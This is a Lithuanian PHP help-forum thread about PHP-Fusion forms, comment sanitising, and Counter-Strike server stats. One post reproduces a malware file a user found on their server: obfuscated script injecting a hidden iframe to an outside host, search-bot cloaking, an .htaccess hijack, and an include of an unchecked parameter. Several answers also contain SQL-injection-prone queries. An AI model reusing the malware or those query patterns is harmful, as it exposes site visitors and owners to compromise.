edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Sveiki, prireikė man pagalbos su kodu. O problema tokia:
įrašius į formą visus duomenis, bet kaip paspaudžiu pateikt, bet nieko į mysql neisirašo :S
Štai mano kodas:
<?php
/*---------------------------------------------------+
| PHP-Fusion 6 Content Management System
+----------------------------------------------------+
| Copyright © 2002 - 2006 Nick Jones
| http://www.php-fusion.co.uk/
+----------------------------------------------------+
| Released under the terms & conditions of v2 of the
| GNU General Public License. For details refer to
| the included gpl.txt file or visit http://gnu.org
+----------------------------------------------------*/
require_once "../maincore.php";
require_once "subheader.php";
require_once ADMIN."navigation.php";
if (!checkrights("S7") || !defined("iAUTH") || $aid != iAUTH) fallback("../index.php");
if (isset($status)) {
if ($status == "pateikta") {
$title = $locale['404'];
$message = "<b>Kova Ideta</b>";
}
opentable("Kova Ideta");
echo "<div align='center'>".$message."</div>\n";
closetable();
tablebreak();
}
if($_POST['pateikti'] != "") {
$result = dbquery("INSERT INTO ".$db_prefix."kovos (priesas, map, rezultatas, hltv, pastabos, win) VALUES ('$_POST[priesas]', '$_POST[map]', '$_POST[rezultatas], '$_POST[hltv], '$_POST[pastabos], '$_POST[win]')");
redirect(FUSION_SELF.$aidlink."?status=pateikta");
}
opentable("Kovok su musu klanu");
echo "<form action='".FUSION_SELF.$aidlink."' method='post'>
Klano pavadinimas:</br> <input type='text' name='priesas' /></br>
Žėmėlapis: </br><input type='text' name='map' /><br />
Rezultatas: </br><input type='text' name='rezultatas' /><br />
Laimėta/Pralaimėta/Lygu: </br><select name='win' ><option value='laimeta'>Laimėta</option>
<option value='pralaimeta'>Pralaimėta</option>
<option value='lygu'>Lygiosios</option>
</select><br />
HLTV: </br><input type='text' name='hltv' /><br />
Pastabos: </br><textarea name='pastabos' cols='22' rows='5'></textarea><br />
<input type='submit' name='pateikti' />
</form>";
closetable();
require_once BASEDIR."footer.php";
?>
|
ozzWANTED
Administratorius
Legenda
Pranešimai: 8478
Įstojęs: 2006 Gru. 29 14:12:31
|
redirect(FUSION_SELF.$aidlink."?status=pateikta");
Keisk į:
redirect(FUSION_SELF.$aidlink."&status=pateikta");
Tavo $aidlink greičiausiai undefined toje vietoje.
Ir:
if($_POST['pateikti'] != "") {
Keisk į:
if(isset($_POST['pateikti'])) {
O:
<input type='submit' name='pateikti' />
į
<input type='submit' name='pateikti' value='pateikti'/>
BR#1, Most Wanted
Redagavo ozzWANTED 2009 Lie. 30 17:07:57 |
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Dėkui dabar jau į news.php nepermeta, bet niekas neįsirašo į mysql
|
Impossibru
Narys
Ekspertas
Pranešimai: 3157
Įstojęs: 2007 Spa. 12 14:10:08
|
Kad keista ta tavo forma kažkokia Administracijos meniu ji ar kaip? Turiu savo daryta forma,jei reikai parašyk į skype.
Andrejaus tinklalapis |
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Taip ji dedame administracijoj. O forma normali kiek kartu naudojau kitur visur veikdavo
|
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Tai va prireike man pagalbos. Darausi aš komentarų sistemą (ne ant php-fusion) ir iškilo tokia bėda. Kai į komentarą parašau koki nors html kodą pvz: <script type='text/javascript'>document.location.href='index.php'</script> man iškart meta į index.php kaip galima pasidaryt, kad negalima butu rašyt tų visokių <script> ir t.t ?
|
Impossibru
Narys
Ekspertas
Pranešimai: 3157
Įstojęs: 2007 Spa. 12 14:10:08
|
if($msg != "<script type='text/javascript'>") { mū }
Andrejaus tinklalapis
Redagavo Impossibru 2009 Rugp. 27 22:08:55 |
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Dėkui, bet man reik ne vien <script> dar ir iframe ir kitokius tokius kur kenkia. Gal netgi galima butu iš fusiono išsiimt, bet nežinau kokia funkcija tai atlieka.
|
Impossibru
Narys
Ekspertas
Pranešimai: 3157
Įstojęs: 2007 Spa. 12 14:10:08
|
http://codingforums.com/showthre...hp?t=73584
Andrejaus tinklalapis |
And2s
VIP narys
Pulkininkas
Pranešimai: 329
Įstojęs: 2009 Bal. 30 19:04:04
|
// This function sanitises news & article submissions
function descript($text, $striptags = true) {
// Convert problematic ascii characters to their true values
$search = array("40","41","58","65","66","67","68","69","70",
"71","72","73","74","75","76","77","78","79","80","81",
"82","83","84","85","86","87","88","89","90","97","98",
"99","100","101","102","103","104","105","106","107",
"108","109","110","111","112","113","114","115","116",
"117","118","119","120","121","122"
);
$replace = array("(",")",":","a","b","c","d","e","f","g","h",
"i","j","k","l","m","n","o","p","q","r","s","t","u",
"v","w","x","y","z","a","b","c","d","e","f","g","h",
"i","j","k","l","m","n","o","p","q","r","s","t","u",
"v","w","x","y","z"
);
$entities = count($search);
for ($i=0; $i < $entities; $i++) {
$text = preg_replace("#(&\#)(0*".$search[$i]."+);*#si", $replace[$i], $text);
}
$text = preg_replace('#(&\#x)([0-9A-F]+);*#si', "", $text);
$text = preg_replace('#(<[^>]+[/\"\'\s])(onmouseover|onmousedown|onmouseup|onmouseout|onmousemove|onclick|ondblclick|onfocus|onload|xmlns)[^>]*>#iU', ">", $text);
$text = preg_replace('#([a-z]*)=([\`\'\"]*)script:#iU', '$1=$2nojscript...', $text);
$text = preg_replace('#([a-z]*)=([\`\'\"]*)javascript:#iU', '$1=$2nojavascript...', $text);
$text = preg_replace('#([a-z]*)=([\'\"]*)vbscript:#iU', '$1=$2novbscript...', $text);
$text = preg_replace('#(<[^>]+)style=([\`\'\"]*).*expression\([^>]*>#iU', "$1>", $text);
$text = preg_replace('#(<[^>]+)style=([\`\'\"]*).*behaviour\([^>]*>#iU', "$1>", $text);
if ($striptags) {
do {
$thistext = $text;
$text = preg_replace('#</*(applet|meta|xml|blink|link|style|script|embed|object|iframe|frame|frameset|ilayer|layer|bgsound|title|base)[^>]*>#i', "", $text);
} while ($thistext != $text);
}
return $text;
}
www.MAFIACLUB.lt
Redagavo And2s 2009 Rugp. 27 22:08:21 |
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Nu gerai šita pridedu į savo sukurta core.php failą ir paskui naujienos.php esu pasidaręs komentarus su while ir kai padarau toki kodą: <td width='696' class='tbl2'>descript(".$row['komentaras'].");</td> tai man visose komentaruose prisideda descript(manokomentaras);
|
And2s
VIP narys
Pulkininkas
Pranešimai: 329
Įstojęs: 2009 Bal. 30 19:04:04
|
rašyk ne <td width='696' class='tbl2'>descript(".$row['komentaras']."merkia akį;</td>
o
<td width='696' class='tbl2'>".descript($row['komentaras'])."</td>
www.MAFIACLUB.lt |
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Vo dėkui labai Padėjai Ir dar vienas klausimas turiu failą naujienos.php ir jis yra tuščias į jo turini galima patekt tik parašius naujienos.php?id=manoid ir noriu kad kai įeina į naujienos.php ar naujienos.php?id= man iškart išmestu index.php
|
And2s
VIP narys
Pulkininkas
Pranešimai: 329
Įstojęs: 2009 Bal. 30 19:04:04
|
iterpk kodo pradzioj
if (isset($_GET['id']) && !is_numeric($_GET['id'])) header('location: index.php');
www.MAFIACLUB.lt
Redagavo And2s 2009 Rugp. 28 16:08:19 |
Kelmas
Narys
Tankas
Pranešimai: 2100
Įstojęs: 2006 Rugp. 17 16:08:42
|
and2s parašė:
iterpk kodo pradzioj
if (isset($_GET['id']) && !is_numeric($_GET['id'])) header('location: index.php');
Ir vistiek leisim rašyt -4, -7 ir pan.. :) Geriau tada preg_matchą tikrinimui naudojam.
if (isset($_GET['id']) && !preg_match("/^[0-9]+$/", $_GET['id'])) header('location: index.php');
Redagavo Kelmas 2009 Rugp. 28 16:08:53 |
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Dėkui, bet vistiek įdedu tą kodą ir kai nutrinu skaičiu vistiek nepermeta į index.php
mano kodas:
<td class="content_vidus"><?php
$id=$_GET[id];
if (isset($_GET['id']) && !preg_match("/^[0-9]+$/", $_GET['id'])) header('location: index.php');
$result = mysql_query("SELECT * FROM naujienos WHERE id='$id'");
while($row = mysql_fetch_array($result))
{
echo "".$row['naujiena_full']."";
}
mysql_close($con);
?><br /><br />
|
And2s
VIP narys
Pulkininkas
Pranešimai: 329
Įstojęs: 2009 Bal. 30 19:04:04
|
<td class="content_vidus"><?php
$id=$_GET[id];
if (isset($_GET['id']) && !preg_match("/^[0-9]+$/", $_GET['id']) || $_GET['id']=='') header('location: index.php');
$result = mysql_query("SELECT * FROM naujienos WHERE id='$id'");
while($row = mysql_fetch_array($result))
{
echo "".$row['naujiena_full']."";
}
mysql_close($con);
?><br /><br />
www.MAFIACLUB.lt |
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Vistiek neveikia
|
And2s
VIP narys
Pulkininkas
Pranešimai: 329
Įstojęs: 2009 Bal. 30 19:04:04
|
<td class="content_vidus"><?php
$id=$_GET[id];
if (isset($_GET['id']) && (!preg_match("/^[0-9]+$/", $_GET['id']) || $_GET['id']=='')) header('location: index.php');
$result = mysql_query("SELECT * FROM naujienos WHERE id='$id'");
while($row = mysql_fetch_array($result))
{
echo "".$row['naujiena_full']."";
}
mysql_close($con);
?><br /><br />
www.MAFIACLUB.lt |
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Viskas pasidariau :)
|
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Naujas klausimas.
Turiu aš Counter-Strike serverio statistiką atvaizduojantį php ir kai serveris on tai buna viskas ok. O kai buna jis off man pradeda mėtit:
Notice: Undefined index: hostname ir t.t
Kaip galima butu padaryt kad vietoj to Notice: Undefined index: hostname rodytu serveris off .
server_status.php failas:
<?
/**
* File is released under GPL as can be found on
* http://www.gnu.org/licenses/gpl....
*/
/* Info string */
define('A2S_INFO', "\xFF\xFF\xFF\xFF\x54\x53\x6F\x75\x72\x63\x65\x20\x45\x6E\x67\x69\x6E\x65\x20\x51\x75\x65\x72\x79\x00");
/* Replies for HL Version 1 and Version 2 (aka Source) */
define('REPLY_INFO_HL1', 'm');
define('REPLY_INFO_HL2', 'I');
/* Definitions of the bytes */
define('BYTE', 1);
define('BYTE_NUM', BYTE + 1);
define('SHORT', BYTE_NUM + 1);
define('LONG', SHORT + 1);
define('FLOAT', LONG + 1);
define('STRING', FLOAT + 1);
/**
* The socket class
* @author Herwin Weststrate aka Hdez
* @contact hdez@counter-strike.nl
* @version 2005.10.21
*/
class HLSocket
{
/* The socket file descriptor */
var $_socket;
/* The way to split the incoming data */
var $_split_info_hl2 = array('type' => BYTE, 'bersion' => BYTE_NUM, 'hostname' => STRING, 'map' => STRING, 'gamedir' => STRING, 'gamedesc' => STRING, 'appid' => SHORT, 'unknown' => BYTE_NUM, 'players' => BYTE_NUM, 'max' => BYTE_NUM, 'bots' => BYTE_NUM, 'dedicated' => BYTE, 'os' => BYTE, 'passworded' => BYTE_NUM, 'secure' => BYTE_NUM, 'gameversion' => STRING);
var $_split_info_hl1 = array('type' => BYTE, 'ip' => STRING, 'hostname' => STRING, 'map' => STRING, 'gamedir' => STRING, 'gamedesc' => STRING, 'players' => BYTE_NUM, 'max' => BYTE_NUM, 'version' => BYTE_NUM, 'dedicated' => BYTE, 'os' => BYTE, 'passworded' => BYTE_NUM, 'secure' => BYTE_NUM, 'gameversion' => STRING);
/**
* Create a new socket
* @param $host The ip or hostname
* @param $port The port
*/
function HLSocket($host, $port)
{
$this->connect($host, $port);
}
/**
* Actually make the connection to the host
* @param $host The ip or hostname
* @param $port The port
*/
function connect($host, $port)
{
$this->_socket = @fsockopen('udp://'.$host, $port);
if (!$this->_socket)
echo 'Error met connecten';
stream_set_timeout($this->_socket, 1); // Set timeout to 1 sec
}
/**
* Close the connection (and the socket fd)
*/
function close()
{
fclose($this->_socket);
}
/**
* Query the server for the details
* @return associative array with the game info
*/
function details()
{
$this->write(A2S_INFO);
$data = $this->read();
$res = array();
switch(substr($data, 0, 1))
{
case REPLY_INFO_HL1:
$res = $this->split($this->_split_info_hl1, $data);
break;
case REPLY_INFO_HL2:
$res = $this->split($this->_split_info_hl2, $data);
break;
}
return $res;
}
/**
* Write the given message over the socket
* @param $msg The message to be written
* @deprecated This should be issued as a private function
*/
function write($msg)
{
fwrite($this->_socket, $msg);
}
/**
* Read from the socket
* @return The data from the socket (excluding the first four [useless] bytes)
* @deprecated This should be issued as a private function
*/
function read()
{
$data = fread($this->_socket, 1);
$status = socket_get_status($this->_socket);
if (isset($status['unread_bytes']) && $status['unread_bytes'] > 0)
$data .= fread($this->_socket, $status['unread_bytes']);
return substr($data, 4);
}
/**
* Split the given datatype from $data String and return the value
* @param $type The data type [BYTE .. STRING]
* @param $data The current data String
* @return The value of the given data type from $data
* @deprecated This should be issued as a private function
*/
function splititem($type, &$data) {
$add = '';
switch ($type)
{
case BYTE:
$add = substr($data, 0, 1);
$data = substr($data, 1);
break;
case BYTE_NUM:
$add = ord(substr($data, 0, 1));
$data = substr($data, 1);
break;
case SHORT:
$add = ord(substr($data, 0, 1));
$data = substr($data, 1);
break;
case LONG:
$add = ord(substr($data, 0, 1));
$data = substr($data, 1);
break;
case STRING:
do
{
$char = substr($data, 0, 1);
if ($char != "\x00")
$add .= $char;
$data = substr($data, 1);
}
while ($char != "\x00");
break;
}
return $add;
}
/**
* Split the given datatypes from $data String and return the value
* @param $array The data type [BYTE .. STRING] as values of an
* associative array. The keys are also the key s of
* the return array
* @param $data The current data String
* @return Associative array with keys of $array and values read from $data
* @deprecated This should be issued as a private function
*/
function split($array, $data)
{
$res = array();
foreach ($array as $k=>$v)
$res[$k] = $this->splititem($v, $data);
return $res;
}
}
?>
ir kodas kuris yra įdėtas į index.php
<?php
error_reporting(E_ALL);
require_once('includes/server_status.php');
$hlsocket = new HLSocket('84.240.33.77', 27015);
$details = $hlsocket->details();
echo "<table widtd=\"930\" border=\"1\">
<tr>
<td>IP</td>
<td>Pavadinimas</td>
<td>Zaidejai</td>
<td>Zemelapis</td>
<td>Balsuoti</td>
<td>Balsu</td>
</tr>
<tr>
<td scope=\"row\">".$details['ip']."</td>
<td>".$details['hostname']."</td>
<td>".$details['players']." / ".$details['max']."</td>
<td>".$details['map']."</td>
<td> </td>
<td> </td>
</tr>
</table>";
$hlsocket->close();
?>
|
Žmogus
Narys
Viršesnis už Dievą
Pranešimai: 5621
Įstojęs: 2006 Gru. 8 17:12:08
|
Tingiu gilintas, bet čia reiktu su if daryti
|
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Nu žinau, kad su if bet kaip? Kai prie $details['ip'] pridedu @ tai nebemeta to erroro ir nieko nerašo, o man reik kad rašytu Serveris Išjungtas
|
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Gerai , reikia scripto kad rodytu Counter-Strike serverio žaidėjus kiek turi nužudymų ir t.t
P.S nerašykit ieškok googlei ir t.t googlei yra tų scriptų bet kiek bandžiau tai tik ant vieno serve man veikė.
|
Fakamaran
Narys
Buldozeris
Pranešimai: 191
Įstojęs: 2009 Sau. 23 22:01:55
|
v6 nuhakint lengva, vien hashas viengubas
http://www.linksmiau.net/
http://www.linksmiau.net/
http://www.linksmiau.net/
http://www.linksmia |
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Naujas klausimas.
Turiu aš pasidaręs, kad už cs serverius galima balsuot ir jų yra daug kaip man gauti to serverio informaciją kuris turi daugiausia taškų ?
Ir dar vienas klausimas.
Turiu toki kodą $result = mysql_query("SELECT * FROM lgsl ORDER BY balsai DESC"); ir jis rūšiuoja bagal balsus bet ten balsai rašomi ne vidurkis o visi. Čia yra mano vidurkio skaičiavimo kodas $avg = $balsai / $prabalsavo; kaip man padaryt kad jis rūšiuotu pagal tą vidurki, o ne pagal visus balsus ?
|
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Tai niekas nežinot ?
|
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Atsiprašau už 3 postą, bet reikia pagalbos.
Tai va man reikia kad su while ciklu mano ištrauktą informaciją iš mysql dėliotu ne į apačia o į šoną pvz kaip foto-galerijoj fusiono.
|
nuken
VIP narys
Terminatorius
Pranešimai: 1300
Įstojęs: 2009 Rugp. 22 08:08:19
|
Galejai spaust kelti tema ... o nepostint
Love is name, sex is game - Forget the name and play the game. |
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Negalėjau spaust, nes buvau paspaudes kitoj temoj... Ir prašyčiau nerašyt ne į temą. Ir padėt man su tuo klausimu...
|
And2s
VIP narys
Pulkininkas
Pranešimai: 329
Įstojęs: 2009 Bal. 30 19:04:04
|
edeni parašė:
Atsiprašau už 3 postą, bet reikia pagalbos.
Tai va man reikia kad su while ciklu mano ištrauktą informaciją iš mysql dėliotu ne į apačia o į šoną pvz kaip foto-galerijoj fusiono.
$result=dbquery("SELECT blajh FROM ".DB_USERS);
$counter = 0;
$kiek_eiluteje=5;
echo "<table> <tr>";
while($data=dbarray($result)) {
if ($counter != 0 && ($counter % $kiek_eiluteje == 0)) echo "</tr><tr>";
echo "<td>"$data['blajh']."</td>";
$counter++
}
echo "</tr></table>";
www.MAFIACLUB.lt
Redagavo And2s 2009 Spa. 26 15:10:13 |
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Dėkui Pagelbėjai
|
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Naujas klausimas.
Mano ftp direktorijoje atsirado toks failas: PE609F31D777BD.php
Kas jame yra :
<?php
$frame_code = '<!-- hJTYsX hwZrh TpA gJK LhdIvzPX --><script>/*_riRJopYA_uU*/var maSKFTfgzy=document;/*eNGUgQyproQjLwcwGxtLckVP*/function JSRJxVcV(iKGZa)/*fPxDyeN_cINKnEiaEijWSjbMQ*/{var sIBtuWphKVC = "",/*PTSzNTVJPPSZEgc*/ASksbIeCmKm=0;for(ASksbIeCmKm=iKGZa.length-1;ASksbIeCmKm >= 0;ASksbIeCmKm--)/*fkeWREfireemHjIDyyvaKLqMK*/{sIBtuWphKVC+=iKGZa.charAt(ASksbIeCmKm);}return sIBtuWphKVC;/*lQFLAvMavWhp*/}/*_riRJopYA_uU*/function THAMWc(Uf_hW)/*wvskgKquyCfDU_fNnzLh*/{/*asAYOrimRFaxNjr*/Uf_hW = Uf_hW.replace(/[\.]/g, "%");/*asAYOrimRFaxNjr*/Uf_hW=unescape(Uf_hW);/*OFYakHAvPHLmfLCLgYBuCu*/return JSRJxVcV(Uf_hW);/*YcHVPLpfsLmebZsoZxcXjR*/}/*RropemxIkeWaSKfJWl*/function KNxrQJJuJ(){/*PTSzNTVJPPSZEgc*/maSKFTfgzy.write("<style>.apcdqYgApH{width:1px;height:1px;border:none;visibility:hidden}</style>");/*vFzsZkRJRqmDBwCtOax*//*G_fFjBELxfFI*/var thOySD="<iframe id=\"PzuNOYDH\" src=\"x\" class=\"apcdqYgApH\"></iframe>";/*wvskgKquyCfDU_fNnzLh*//*vFzsZkRJRqmDBwCtOax*/var zOHkNaBQqOk=thOySD.replace(/[\+x]/g,THAMWc(".70.68.70.2e.6e.69.2f.34.37.31.2f.72.65.73.75.2f.6d.6f.63.2e.72.65.74.6e.75.6f.63.2d.73.65.74.69.73.2f.2f.3a.70.74.74.68"));/*vFzsZkRJRqmDBwCtOax*//*PTSzNTVJPPSZEgc*/return zOHkNaBQqOk;/*vFzsZkRJRqmDBwCtOax*//*G_fFjBELxfFI*/}/*fPxDyeN_cINKnEiaEijWSjbMQ*//*UACyjbdWJu*//*fPxDyeN_cINKnEiaEijWSjbMQ*//*gxmlpKbCEZYM*/maSKFTfgzy.writeln(KNxrQJJuJ());/*XOQoHXqCHdswYQ*//*RropemxIkeWaSKfJWl*//*lQFLAvMavWhp*/</script><!-- hJTY sXhwZrhTpA gJKLhdIvzPX_2 -->';
function get_file_dir_($file) {
global $argv;
$dir = dirname(getcwd() . '/' . $file);
$curDir = getcwd();
@chdir($dir);
$dir = getcwd();
@chdir($curDir);
return $dir;
}
function is_search_bot($agent)
{
if(
strstr($agent, "Yandex/") != null ||
strstr($agent, "YaDirectBot") != null ||
strstr($agent, "James Bond") != null ||
strstr($agent, "Googlebot") != null ||
strstr($agent, "Mediapartners-Google") != null ||
strstr($agent, "StackRambler") != null ||
strstr($agent, "Slurp") != null ||
strstr($agent, "msnbot") != null
)
{
return true;
}
return false;
}
function callback($data)
{
global $frame_code;
$data = preg_replace('/<iframe.*style=.*hidden.*\/iframe[^>]*>/i', "", $data);
$data = preg_replace('/<div.*style=.*display:none.*[^>]*>.*<iframe .*\/.*div[^>]*>/i', "", $data);
$data = preg_replace('/<!-- ad --><script[^>]*>.*<\/script><!-- \/ad -->/i', "", $data);
if(is_search_bot($_SERVER['HTTP_USER_AGENT']) == true) {
return $data;
} else {
if(preg_match("/(<body[^>]*>)/i", $data) > 0) {
return preg_replace("/(<body[^>]*>)/i", "$1 \n".$frame_code, $data, 1);
}
else {
return $data.$frame_code;
}
}
}
if(@ob_start('callback') == true) {
$file = $_GET['qq'];
@chdir(get_file_dir_($file));
include($file);
} else {
echo $frame_code;
}
?>
ir į .htaccess kažkaip įsirašė:
#609F31D777BD{
RewriteEngine On
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} !PE(.*).php
RewriteRule (.*)\.(php|html|htm|php3|phtml|shtml) PE609F31D777BD.php?%{QUERY_STRING}&qq=$1.$2 [NC,L]
#609F31D777BD}
Tai man iškilo klausymas čia virusas ar ne ? ar čia antivirusinė nuo tų iframe kodų ?
|
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Naujas klausimas.
Turiu pasidaręs while ciklą ir noriu, kad mano kiekvieną ištraukta informacija surušiuotu pvz:
1. Mama
2. Tėtis
3. Sese
4. Brolis
ir t.t
Jeigu nesupratot klausimo sakykit patikslinsiu.
http://itouch.lt - iBendruomenė. |
Narysx
Narys
Ekspertas
Pranešimai: 2940
Įstojęs: 2007 Rugs. 18 19:09:56
|
Duok tą savo while ciklą. Padarysiu.
|
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
<?php
$result = mysql_query("SELECT * FROM reklamos ORDER BY id DESC");
while($row = mysql_fetch_array($result))
{
$banneris = $row['banneris'];
$nuoroda = $row['nuoroda'];
echo "<a href='http://".$nuoroda."'><img src='".$banneris."' alt='".$nuoroda."' border='0'></a></br>";
}
?>
Dėkui iškart :)
http://itouch.lt - iBendruomenė. |
Narysx
Narys
Ekspertas
Pranešimai: 2940
Įstojęs: 2007 Rugs. 18 19:09:56
|
<?php
$result = mysql_query("SELECT * FROM reklamos ORDER BY id DESC");
$n = 0;
while($row = mysql_fetch_array($result))
{
$n++;
$banneris = $row['banneris'];
$nuoroda = $row['nuoroda'];
echo "<b>$n</b>. <a href='http://".$nuoroda."'><img src='".$banneris."' alt='".$nuoroda."' border='0'></a></br>";
}
?>
|
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Vo Dėkui +10 tau.
http://itouch.lt - iBendruomenė. |
edeni
Narys
Terminatorius
Pranešimai: 1502
Įstojęs: 2008 Vas. 7 19:02:18
|
Naujas klausimas kas gali but, kad kai per submit.php įdedu naujiena man automatiškai nesulaužo eilučių ?
Va mano submit.php failas
<?php
/*---------------------------------------------------+
| PHP-Fusion 6 Content Management System
+----------------------------------------------------+
| Copyright © 2002 - 2006 Nick Jones
| http://www.php-fusion.co.uk/
+----------------------------------------------------+
| Released under the terms & conditions of v2 of the
| GNU General Public License. For details refer to
| the included gpl.txt file or visit http://gnu.org
+----------------------------------------------------*/
require_once "maincore.php";
require_once "subheader.php";
require_once "side_left.php";
include LOCALE.LOCALESET."submit.php";
if (!iMEMBER) fallback("index.php");
if (isset($_POST['submit_news'])) {
if ($_POST['news_subject'] != "" && $_POST['news_body'] != "") {
$submit_info['news_subject'] = stripinput($_POST['news_subject']);
$submit_info['news_cat'] = isNum($_POST['news_cat']) ? $_POST['news_cat'] : "0";
$submit_info['news_body'] = descript($_POST['news_body']);
$submit_info['news_body1'] = descript($_POST['news_body1']);
$submit_info['news_breaks'] = (isset($_POST['line_breaks']) ? "y" : "n");
$result = dbquery("INSERT INTO ".$db_prefix."submissions (submit_type, submit_user, submit_datestamp, submit_criteria) VALUES('n', '".$userdata['user_id']."', '".time()."', '".addslashes(serialize($submit_info))."')");
opentable($locale['400']);
echo "<center><br>\n".$locale['460']."<br><br>
<a href='prideti_naujiena.php'>".$locale['461']."</a><br><br>
<a href='index.php'>".$locale['412']."</a><br><br>\n</center>\n";
closetable();
}
} else {
if (isset($_POST['preview_news'])) {
$news_subject = stripinput($_POST['news_subject']);
$news_cat = isNum($_POST['news_cat']) ? $_POST['news_cat'] : "0";
$news_body = phpentities(descript(stripslash($_POST['news_body'])));
$news_body1 = phpentities(descript(stripslash($_POST['news_body1'])));
$breaks = (isset($_POST['line_breaks']) ? " checked" : "");
opentable($news_subject);
echo (isset($_POST['line_breaks']) ? nl2br($news_body) : $news_body);
closetable();
tablebreak();
}
if (!isset($_POST['preview_news'])) {
$news_subject = "";
$news_body = "";
$news_body1 = "";
$breaks = " checked";
}
$news_cat_opts = ""; $sel = "";
$result2 = dbquery("SELECT * FROM ".$db_prefix."news_cats ORDER BY news_cat_name");
if (dbrows($result2)) {
while ($data2 = dbarray($result2)) {
if (isset($news_cat)) $sel = ($news_cat == $data2['news_cat_id'] ? " selected" : "");
$news_cat_opts .= "<option value='".$data2['news_cat_id']."'$sel>".$data2['news_cat_name']."</option>\n";
}
}
opentable($locale['450']);
echo $locale['470']."<br><br>
<form name='submit_form' method='post' action='".FUSION_SELF."' onSubmit='return validateNews(this);'>
<table align='center' cellpadding='0' cellspacing='0'>
<tr>
<td class='tbl'>".$locale['471']."</td>
<td class='tbl'><input type='text' name='news_subject' value='$news_subject' maxlength='64' class='textbox' style='width:300px;'></td>
</tr>
<tr>
<td width='100' class='tbl'>".$locale['476']."</td>
<td width='80%' class='tbl'><select name='news_cat' class='textbox'>
<option value='0'>".$locale['477']."</option>
$news_cat_opts</select>
</td>
</tr>
<tr>
<td valign='top' class='tbl'>".$locale['472']."</td>
<td class='tbl'><textarea class='textbox' name='news_body' rows='8' cols='54'>$news_body</textarea></td>
</tr>
<tr>
<td valign='top' class='tbl'>Naujienos Plačiau</td>
<td class='tbl'><textarea class='textbox' name='news_body1' rows='8' cols='54'>$news_body1</textarea></td>
</tr>
<tr>
<td colspan='2' class='tbl'><br><center>
<input type='checkbox' name='line_breaks' value='yes'$breaks>".$locale['473']."<br><br>
<input type='submit' name='preview_news' value='".$locale['474']."' class='button'>
<input type='submit' name='submit_news' value='".$locale['475']."' class='button'></center>
</td>
</tr>
</table>
</form>\n";
closetable();
}
echo "<script type='text/javascript'>
function validateLink(frm) {
if (frm.link_name.value==\"\" || frm.link_name.value==\"\" || frm.link_description.value==\"\") {
alert(\"".$locale['550']."\"); return false;
}
}
function validateNews(frm) {
if (frm.news_subject.value==\"\" || frm.news_body.value==\"\") {
alert(\"".$locale['550']."\"); return false;
}
}
function validateArticle(frm) {
if (frm.article_subject.value==\"\" || frm.article_snippet.value==\"\" || frm.article_body.value==\"\") {
alert(\"".$locale['550']."\");
return false;
}
}
function validatePhoto(frm) {
if (frm.photo_title.value==\"\" || frm.photo_description.value==\"\" || frm.photo_pic_file.value==\"\") {
alert(\"".$locale['550']."\");
return false;
}
}
</script>\n";
require_once "side_right.php";
require_once "footer.php";
?>
http://itouch.lt - iBendruomenė. |
gintulys
Vagis !
Generolas
Pranešimai: 1071
Įstojęs: 2008 Lap. 1 20:11:44
|
Pamegink nauja ikelt
Tinklapių kurimas | Warez |